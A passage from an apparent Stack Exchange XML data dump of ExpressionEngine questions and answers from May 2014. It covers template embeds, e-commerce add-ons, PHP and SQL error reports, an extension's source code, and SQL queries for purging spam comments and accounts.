{excerpt}&#xA;      &amp;lt;div class=&quot;mini-meta&quot;&amp;gt;&#xA;        &amp;lt;span&amp;gt;{type}&amp;lt;/span&amp;gt;&#xA;        &amp;lt;span&amp;gt;{date}&amp;lt;/span&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/a&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when rendered it doesn't load in the data, it will still show &lt;code&gt;{title}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My inkling is that embedding with &lt;code&gt;process=&quot;start&quot;&lt;/code&gt; should do the trick as it would then work as an EE snippet would, but this doesn't make a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I don't embed and instead copy the code directly into the template it works fine - but this is going to lead to massive code duplication around the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible, or is there a workaround?&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-05-22T12:24:57.757" Title="Using list data in a Stash Embed" Tags="|stash|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22127" PostTypeId="1" CreationDate="2014-05-21T13:52:52.193" Score="1" ViewCount="102" Body="&lt;p&gt;My client has requested that the site automatically sends users an email X days after their initial purchase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whilst I can probably work out some custom DB queries to get customers who had brought stuff X days ago are there any hooks I can use to trigger Expresso Store to send one if its own templates out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2014-06-05T11:29:32.380" Title="Expresso Store: Send Email X days after purchase" Tags="|expresso-store|email|expresso|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22128" PostTypeId="2" ParentId="22084" CreationDate="2014-05-21T14:31:49.667" Score="5" Body="&lt;p&gt;Yes it is possible to use multiple modifiers as long as there's only a single option &lt;strong&gt;selectable&lt;/strong&gt; per modifier - so as per your example, there is 1 product called iPad, that has different modifiers and options to create the variants, but an iPad can't be a 16Gb &lt;strong&gt;and&lt;/strong&gt; a 32Gb model - obviously.  Here's an example of the EE Entry in the backend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WalvP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then on the frontend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CwjCp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even showing availability for the combination selected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DxOSy.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/ON5dp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The important part is that your product template is assigning all the modifiers/options with the correct names, so when your product form is submitted, Store knows what variants (modifiers/options) the customer has selected.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;{entry_id}&quot; return=&quot;/checkout/basket&quot;}&#xA;    ...&#xA;    {modifiers}&#xA;        {if &quot;{modifier_name}&quot; != &quot;&quot;}&#xA;                &amp;lt;label&amp;gt;&#xA;                    &amp;lt;select id=&quot;{modifier_name}&quot; name=&quot;{modifier_input_name}&quot; class=&quot;dropdown required&quot; tabindex=&quot;1&quot;&amp;gt;&#xA;                             &amp;lt;option value=&quot;&quot;&amp;gt;-- Select {modifier_name} --&amp;lt;/option&amp;gt;&#xA;                         {modifier_options}&#xA;                             &amp;lt;option value=&quot;{option_id}&quot; {if &quot;{modifier_name}&quot; == &quot;Colour&quot;} itemprop=&quot;color&quot;{/if}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;                         {/modifier_options}&#xA;                    &amp;lt;/select&amp;gt;&#xA;                &amp;lt;/label&amp;gt;&#xA;        {/if}&#xA;    {/modifiers}&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Specific documentation link:&#xA;&lt;a href=&quot;https://exp-resso.com/docs/product_form_tag.html#product_form_tag_example&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://exp-resso.com/docs/product_form_tag.html#product_form_tag_example&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2014-05-21T14:40:30.530" LastActivityDate="2014-05-21T14:40:30.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22129" PostTypeId="2" ParentId="22125" CreationDate="2014-05-21T14:44:34.010" Score="1" Body="&lt;p&gt;Found the solution to this, added &lt;code&gt;tax_exempt=&quot;yes&quot; shipping_exempt=&quot;yes&quot;&lt;/code&gt; to the &lt;code&gt;{exp:cartthrob:add_to_cart_form}&lt;/code&gt; tag. &lt;/p&gt;&#xA;" OwnerUserId="1994" LastActivityDate="2014-05-21T14:44:34.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22130" PostTypeId="2" ParentId="22127" CreationDate="2014-05-21T15:13:41.650" Score="3" Body="&lt;p&gt;A list of Expresso Store hooks can be found in their documentation here:&lt;br&gt;&#xA;&lt;a href=&quot;https://exp-resso.com/docs/extension_hooks.html&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/extension_hooks.html&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see a hook that does what you're asking. But you can build something on your own using the EE Email Class as detailed here:&lt;br&gt;&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/email.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/usage/email.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-05-21T15:13:41.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22131" PostTypeId="1" CreationDate="2014-05-21T15:14:00.593" Score="0" ViewCount="159" Body="&lt;p&gt;ExpressionEngine 2.8.1&#xA;Solspace SuperSearch 2.1.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're currently experiencing an error that does not occur each time a form is submitted with the following error being displayed:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error Number: 1064&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You have an error in your SQL syntax; check the manual that&#xA;  corresponds to your MySQL server version for the right syntax to use&#xA;  near ') AND c.channel_id != '' AND cf.field_name != 'keywords'' at&#xA;  line 4&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;/* Super Search get fields */ SELECT&#xA;  cf.field_id,cf.field_name,cf.field_search,cf.field_type,cf.field_text_direction,c.channel_id,c.channel_name&#xA;  FROM exp_channel_fields cf LEFT JOIN exp_channels c ON c.field_group =&#xA;  cf.group_id WHERE cf.site_id IN () AND c.channel_id != '' AND&#xA;  cf.field_name != 'keywords'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: third_party/super_search/mod.super_search.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 2190&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A separate error occurs every once in awhile in Chrome when submitting to the same form: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to a member function num_rows() on a non-object in /home1/clientaccount/public_html/system/expressionengine/third_party/super_search/mod.super_search.php on line 2192&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PHP Error Log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[21-May-2014 09:51:56] PHP Fatal error:  Call to a member function num_rows() on a non-object in /home1/clientaccount/public_html/system/expressionengine/third_party/super_search/mod.super_search.php on line 2192&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The odd items is that the error is coming from SuperSearch, but the only instance of the search is in the header + footer and not related to the form generated by Forms by DevDemon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Form Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:channel:entries channel=&quot;staff_only&quot; limit=&quot;1&quot; dynamic=&quot;yes&quot;}&#xA;        {standard_form}&#xA;        {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Header SuperSearch:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form class=&quot;non-mobile&quot; action=&quot;{path=search/index}&quot; method=&quot;post&quot;&amp;gt;&#xA;      {exp:super_search:search}&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; list=&quot;suggestions&quot; autocomplete=&quot;off&quot; name=&quot;keywords&quot; placeholder=&quot;Search&quot; value=&quot;&quot;&amp;gt;&#xA;        &amp;lt;button type=&quot;submit&quot; name=&quot;Submit&quot;&amp;gt;&amp;lt;img src=&quot;{site_url}img/icon-search.png&quot; alt=&quot;Search&quot;&amp;gt;&amp;lt;/button&amp;gt;&#xA;&#xA;          &amp;lt;datalist id=&quot;suggestions&quot;&amp;gt;&#xA;          {exp:channel:entries channel=&quot;not home&quot; limit=&quot;100&quot; dynamic=&quot;no&quot;}&#xA;              &amp;lt;option value=&quot;{title}&quot;&amp;gt;&#xA;          {/exp:channel:entries}&#xA;          &amp;lt;/datalist&amp;gt;&#xA;      {/exp:super_search:search}&#xA;    &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Footer SuperSearch:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form class=&quot;non-mobile&quot; action=&quot;{path=search/index}&quot; method=&quot;post&quot;&amp;gt;&#xA;      {exp:super_search:search}&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; list=&quot;suggestions&quot; autocomplete=&quot;off&quot; name=&quot;keywords&quot; placeholder=&quot;Search&quot; value=&quot;&quot;&amp;gt;&#xA;        &amp;lt;button type=&quot;submit&quot; name=&quot;Submit&quot;&amp;gt;&amp;lt;img src=&quot;{site_url}img/icon-search.png&quot; alt=&quot;Search&quot;&amp;gt;&amp;lt;/button&amp;gt;&#xA;&#xA;          &amp;lt;datalist id=&quot;suggestions&quot;&amp;gt;&#xA;          {exp:channel:entries channel=&quot;not home&quot; limit=&quot;100&quot; dynamic=&quot;no&quot;}&#xA;              &amp;lt;option value=&quot;{title}&quot;&amp;gt;&#xA;          {/exp:channel:entries}&#xA;          &amp;lt;/datalist&amp;gt;&#xA;      {/exp:super_search:search}&#xA;    &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any assistance would be greatly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="2471" LastEditorUserId="2471" LastEditDate="2014-05-21T15:43:42.830" LastActivityDate="2014-05-21T15:49:36.327" Title="Solspace - SuperSearch" Tags="|solspace|supersearch|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22132" PostTypeId="2" ParentId="22105" CreationDate="2014-05-21T15:28:25.283" Score="2" Body="&lt;p&gt;Try setting this line in config.php to be FALSE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['compress_output'] = FALSE; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;When I see an error, I go to the line of code to see what the script is trying to do. Line 166 in the /system/codeigniter/system/core/Exceptions.php file is in the show_php_error() function so I'd suggest checking your PHP error logs to see what error is being thrown. If no error is being logged in the error file, go into the CP index.php file and remove the conditional around the error logging to force it to log the error and reload your problem page.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-05-21T15:28:25.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22135" PostTypeId="2" ParentId="22084" CreationDate="2014-05-21T16:04:40.923" Score="2" Body="&lt;p&gt;OK, thanks again to Peter for answering my question. My challenge is that no two products are the same and some with many variants.  To create the price options modules that can be seen on the current site (&lt;a href=&quot;http://www.picotech.com/highest-performance-oscilloscopes.html&quot; rel=&quot;nofollow&quot;&gt;http://www.picotech.com/highest-performance-oscilloscopes.html&lt;/a&gt;) and are being plugged into exp:resso store I created a load of conditional jQuery scripts that changed the info when requested.  My solution was a lot easier than I thought, as opposed to creating product ranges with a modifier creating each product I stuck with what I already had in a full list of products.  Then upon discovering the entry_id in the hidden input field was what store was looking for to update the cart I added the jQuery below to my conditionals and all was saved. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;input[name='entry_id']&quot;).val(&quot;{store_info}{entry_id}{/store_info}&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2704" LastActivityDate="2014-05-21T16:04:40.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22136" PostTypeId="1" AcceptedAnswerId="22137" CreationDate="2014-05-21T16:04:57.913" Score="3" ViewCount="76" Body="&lt;p&gt;We are using LowNoSpam and it is working well. Very few spam comments get through. However the settings flagged them as spam and kept them closed. The person who was reviewing these didn't do that since November and since then spam bots have been having a blast. It now has 35,984 spam comments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have changed some settings (must be logged in to leave a comment) but we do want to purge the ~36,000 spam comments. There may be a few legit comments in there, but they are ok with just letting them get deleted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea is to go into the database and delete all comments with a status of &quot;c&quot; in the table &quot;exp_comments&quot;. I did this on my local db and it seems to work. However I've also tried some database shortcuts that didn't work out so well (creating custom member fields via the db) because there are links to this data elsewhere. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything else I need to do other than delete the &quot;c&quot; comments in exp_comments?&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2014-05-21T16:18:18.210" Title="Deleting 1,000s of spam comments" Tags="|comments|spam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22137" PostTypeId="2" ParentId="22136" CreationDate="2014-05-21T16:18:18.210" Score="5" Body="&lt;p&gt;No, that is all you need to do - &lt;code&gt;exp_comments&lt;/code&gt; has no other dependencies when it comes to &quot;closed&quot; comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were deleting &quot;open&quot; comments, you'd want to recount the site's statistics afterwards (as &lt;code&gt;exp_channel_titles&lt;/code&gt; has a &lt;code&gt;comment_total&lt;/code&gt; column).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-05-21T16:18:18.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22138" PostTypeId="2" ParentId="1390" CreationDate="2014-05-21T16:34:57.113" Score="0" Body="&lt;p&gt;Just joined, so I can't comment on the accepted answer, but...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the correct syntax should be (note the single quotes):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{side_content_selectables:selected option=&quot;show_feed&quot;}'}&#xA;    &amp;lt;p&amp;gt;show the feed&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe there's been a change in the plugin since this was originally posted, but I discovered that without those single quotes, EE will throw a PHP error if none of the checkboxes are checked.&lt;/p&gt;&#xA;" OwnerUserId="3128" LastActivityDate="2014-05-21T16:34:57.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22140" PostTypeId="1" CreationDate="2014-05-21T17:29:10.370" Score="2" ViewCount="410" Body="&lt;p&gt;I'm using a new installation of EE (2.8.1) with the latest Structure version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel which allows entries to be submitted by the front-end user.  However, when an entry is submitted via the front-end, it throws these errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined property: Channel_form_lib::$EE&#xA;&#xA;Filename: structure/ext.structure.php&#xA;&#xA;Line Number: 651&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Trying to get property of non-object&#xA;&#xA;Filename: structure/ext.structure.php&#xA;&#xA;Line Number: 651&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Trying to get property of non-object&#xA;&#xA;Filename: structure/ext.structure.php&#xA;&#xA;Line Number: 651&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined property: Channel_form_lib::$EE&#xA;&#xA;Filename: structure/ext.structure.php&#xA;&#xA;Line Number: 669&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Trying to get property of non-object&#xA;&#xA;Filename: structure/ext.structure.php&#xA;&#xA;Line Number: 669&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Trying to get property of non-object&#xA;&#xA;Filename: structure/ext.structure.php&#xA;&#xA;Line Number: 669&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined property: Channel_form_lib::$EE&#xA;&#xA;Filename: structure/ext.structure.php&#xA;&#xA;Line Number: 683&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Trying to get property of non-object&#xA;&#xA;Filename: structure/ext.structure.php&#xA;&#xA;Line Number: 683&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Trying to get property of non-object&#xA;&#xA;Filename: structure/ext.structure.php&#xA;&#xA;Line Number: 683&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined variable: hidden&#xA;&#xA;Filename: structure/ext.structure.php&#xA;&#xA;Line Number: 730&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /nfs/c08/h01/mnt/148871/domains/slddev.sarahlynndesign.com/html/ac/system/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 447&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The entry is submitted, but it will not take me to the required location after submission, or will it send out an email notification.&lt;/p&gt;&#xA;" OwnerUserId="1411" LastActivityDate="2015-01-10T17:19:34.643" Title="Structure &amp; Channel Forms not playing nicely" Tags="|channel|channel-form|module|structure|php-errors|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22141" PostTypeId="2" ParentId="22127" CreationDate="2014-05-21T17:47:26.437" Score="2" Body="&lt;p&gt;There is nothing built-in. You could as Anna mentioned build an extension that would allow to send it. There area  few ways you could approach this, I have seen in the past an extension that changes the order status which triggers an email based upon the assigned status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could use Objective HTML's &lt;a href=&quot;https://objectivehtml.com/postmaster&quot; rel=&quot;nofollow&quot;&gt;PostMaster&lt;/a&gt; add-on. You would need to setup a parcel based upon the rules you want to trigger an email. Once the rule is triggered it will send the email out, the nice thing about this is that you can configure multiple parcels to send out multiple emails or different emails based upon what the user purchased.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option and an option that I see a lot of people use is to sign the user up to a MailChimp or CampaignMonitor list that will send out emails a set amount of days from being added to the list. This can be super handy if you have multiple emails that need to be sent out at certain times. The downside to this is that it is not as easy to pull in the purchased items to the email body. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-05-21T17:47:26.437" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22142" PostTypeId="1" CreationDate="2014-05-21T18:13:11.493" Score="1" ViewCount="939" Body="&lt;p&gt;Does ExpressionEngine automatically generate the URL Title and Structure listing URL as the same when the Title for the page is entered?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do both URL Title and Structure listing URL have to be the same or optional?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the URL Title or page title is modified, Why EE doesn't update the Structure listing URL automatically? &lt;/p&gt;&#xA;" OwnerUserId="3129" LastActivityDate="2015-12-24T07:09:44.730" Title="URL Title and Structure Listing URL" Tags="|structure|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22143" PostTypeId="2" ParentId="22142" CreationDate="2014-05-21T18:17:37.237" Score="1" Body="&lt;p&gt;1.) Yes it does. Unless another entry with the same url-title or structure title, then ee throws an error or appends a number to the title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) they do not have to be the same&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.) Because the structure js only modifies the structure title when the title field is updated. You can use a plugin like &lt;a href=&quot;http://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/cp-css-js&lt;/a&gt; to bind an onchange event to the url title&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-05-21T18:17:37.237" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22144" PostTypeId="1" CreationDate="2014-05-21T19:03:38.503" Score="0" ViewCount="157" Body="&lt;p&gt;I found a plugin on the following site &lt;a href=&quot;http://becordial.co.uk/expressionengine-cartthrob-email-notification-dynamic-custom-field/&quot; rel=&quot;nofollow&quot;&gt;http://becordial.co.uk/expressionengine-cartthrob-email-notification-dynamic-custom-field/&lt;/a&gt; which I have uploaded but does not show up in the extensions list so cannot install. Using EE 2.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why it is not showing up? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EE =&amp; get_instance();&#xA;    $this-&gt;settings = $settings;&#xA;    }&#xA;&#xA;&#xA;    public function activate_extension()&#xA;    {&#xA;        $this-&gt;EE-&gt;db-&gt;insert(&#xA;            'extensions',&#xA;            array(&#xA;            'class' =&gt; __CLASS__,&#xA;            'method' =&gt; 'cartthrob_on_authorize',&#xA;            'hook'  =&gt; 'cartthrob_on_authorize',&#xA;            'settings' =&gt; '',&#xA;            'priority' =&gt; 10,&#xA;            'version' =&gt; $this-&gt;version,&#xA;            'enabled' =&gt; 'y'&#xA;            )&#xA;        );&#xA;&#xA;$this-&gt;EE-&gt;load-&gt;add_package_path(PATH_THIRD.'cartthrob/');&#xA;$this-&gt;EE-&gt;load-&gt;library('cartthrob_loader');&#xA;&#xA;$this-&gt;notification_events = array('custom_field_event'); &#xA;$this-&gt;module_name = &quot;Cartthrob_customfield_notification&quot;; &#xA;&#xA;if (!empty($this-&gt;notification_events))&#xA;{&#xA;    $this-&gt;EE-&gt;db-&gt;select('notification_event')&#xA;            -&gt;from('cartthrob_notification_events')&#xA;            -&gt;like('application', ucwords($this-&gt;module_name), 'after');&#xA;&#xA;    $existing_notifications = array();&#xA;&#xA;    foreach ($this-&gt;EE-&gt;db-&gt;get()-&gt;result() as $row)&#xA;    {&#xA;        $existing_notifications[] = $row-&gt;notification_event;&#xA;    }&#xA;&#xA;    foreach ($this-&gt;notification_events as $event)&#xA;    {&#xA;        if (!empty($event))&#xA;        {&#xA;            if ( ! in_array($event, $existing_notifications))&#xA;            {&#xA;                $this-&gt;EE-&gt;db-&gt;insert(&#xA;                    'cartthrob_notification_events',&#xA;                    array(&#xA;                        'application' =&gt; ucwords($this-&gt;module_name),&#xA;                        'notification_event' =&gt; $event,&#xA;                    )&#xA;                );&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;    }&#xA;&#xA;    public function update_extension($current='')&#xA;    {&#xA;        if ($current == '' OR $current == $this-&gt;version)&#xA;        {&#xA;            return FALSE;&#xA;        }&#xA;&#xA;        $this-&gt;EE-&gt;db-&gt;update(&#xA;            'extensions',&#xA;            array('version' =&gt; $this-&gt;version),&#xA;            array('class' =&gt; __CLASS__)&#xA;        );&#xA;    }&#xA;    public function disable_extension()&#xA;    {&#xA;        $this-&gt;module_name = &quot;Cartthrob_customfield_notification&quot;; &#xA;&#xA;$this-&gt;EE-&gt;db-&gt;delete('cartthrob_notification_events', array('application' =&gt; ucwords($this-&gt;module_name)));&#xA;    $this-&gt;EE-&gt;db-&gt;delete('extensions', array('class' =&gt; __CLASS__));&#xA; }&#xA;&#xA;&#xA;    public function settings()&#xA;    {&#xA;    return $settings;&#xA;    }&#xA;&#xA;&#xA;&#xA;    function cartthrob_on_authorize()&#xA;    {&#xA;        if ($this-&gt;EE-&gt;cartthrob-&gt;cart-&gt;order('entry_id'))&#xA;        {&#xA;            $entry_id = $this-&gt;EE-&gt;cartthrob-&gt;cart-&gt;order('entry_id'); &#xA;&#xA; ee()-&gt;load-&gt;library('logger');&#xA;&#xA;&#xA;$this-&gt;EE-&gt;load-&gt;add_package_path(PATH_THIRD.'cartthrob/');&#xA;&#xA;$this-&gt;EE-&gt;load-&gt;library('cartthrob_loader');&#xA;$this-&gt;EE-&gt;load-&gt;library('cartthrob_emails');&#xA;&#xA;$this-&gt;module_name = &quot;Cartthrob_customfield_notification&quot;; &#xA;&#xA;$event='custom_field_event';&#xA;&#xA;$emails = $this-&gt;EE-&gt;cartthrob_emails-&gt;get_email_for_event(ucwords($this-&gt;module_name.&quot;_&quot;.$event)); &#xA;&#xA;&#xA;$totagb=$emails[0]['to'];&#xA;&#xA; $order_managers_field=trim($totagb, &quot;{}&quot;) ;&#xA;&#xA; $query = $this-&gt;EE-&gt;db-&gt;select('field_id', 'field_name')&#xA;  -&gt;from('exp_channel_fields f')&#xA;   -&gt;where(array(&#xA;        'f.field_name'=&gt;$order_managers_field&#xA;    ))&#xA;     -&gt;limit(1)&#xA;  -&gt;get();  &#xA;&#xA;$order_managers_field_id=0;&#xA;&#xA; if ($query-&gt;num_rows() &gt; 0)&#xA;{&#xA;&#xA;$order_managers_field_id='field_id_'. $query-&gt;row('field_id');&#xA;&#xA;&#xA;$email_query = $this-&gt;EE-&gt;db-&gt;select($order_managers_field_id)&#xA;  -&gt;from('exp_channel_data d')&#xA;   -&gt;where(array(&#xA;        'd.entry_id' =&gt; $entry_id&#xA;    ))&#xA;     -&gt;limit(1)&#xA;  -&gt;get();          &#xA;&#xA;&#xA;&#xA; if ($email_query-&gt;num_rows() &gt; 0)&#xA;{&#xA;&#xA;    $this-&gt;EE-&gt;load-&gt;model(&quot;order_model&quot;);&#xA;&#xA;&#xA;&#xA;$order_managers_email= $email_query-&gt;row($order_managers_field_id);&#xA;&#xA;&#xA;if (!empty($emails))&#xA;{&#xA;    foreach ($emails as $email_content)&#xA;    {&#xA;&#xA;$email_content['to'] = $order_managers_email;&#xA;&#xA;        $this-&gt;EE-&gt;cartthrob_emails-&gt;send_email($email_content,$this-&gt;EE-&gt;cartthrob-&gt;cart-&gt;order()); &#xA;    }&#xA;}&#xA;&#xA;&#xA;&#xA;}&#xA;&#xA;&#xA;&#xA;&#xA;}else{&#xA;ee()-&gt;logger-&gt;developer('no data returned'); &#xA;&#xA;}&#xA;&#xA;}&#xA;    }&#xA;    // END&#xA;}&#xA;//END CLASS&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="433" LastActivityDate="2016-05-29T02:14:14.043" Title="Cartthrob plugin for email notifications based on custom field" Tags="|cartthrob|php|extension|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22145" PostTypeId="2" ParentId="21990" CreationDate="2014-05-21T19:08:15.683" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/audit-pro&quot; rel=&quot;nofollow&quot;&gt;Audit Pro&lt;/a&gt; also does a pretty good job of letting you set granular notifications.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2014-05-21T19:08:15.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22146" PostTypeId="2" ParentId="21628" CreationDate="2014-05-21T19:27:22.990" Score="3" Body="&lt;p&gt;If you have any visible pattern for spam accounts, you can delete them just with query. My examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Delete all pending ExpressionEngine members mysql query&#xA;DELETE FROM exp_member_data where member_id in (select member_id FROM exp_members where group_id = 4) LIMIT 1000000&#xA;DELETE FROM exp_message_folders where member_id in (select member_id FROM exp_members where group_id = 4) LIMIT 1000000&#xA;DELETE FROM exp_member_homepage where member_id in (select member_id FROM exp_members where group_id = 4) LIMIT 1000000&#xA;DELETE FROM exp_members where group_id = 4 LIMIT 1000000&#xA;&#xA;#remove all users who have links in bio (be carefully with this!)&#xA;DELETE FROM exp_member_data where member_id in (select member_id FROM exp_members where bio REGEXP 'http') LIMIT 1000000&#xA;DELETE FROM exp_message_folders where member_id in (select member_id FROM exp_members where bio REGEXP 'http') LIMIT 1000000&#xA;DELETE FROM exp_member_homepage where member_id in (select member_id 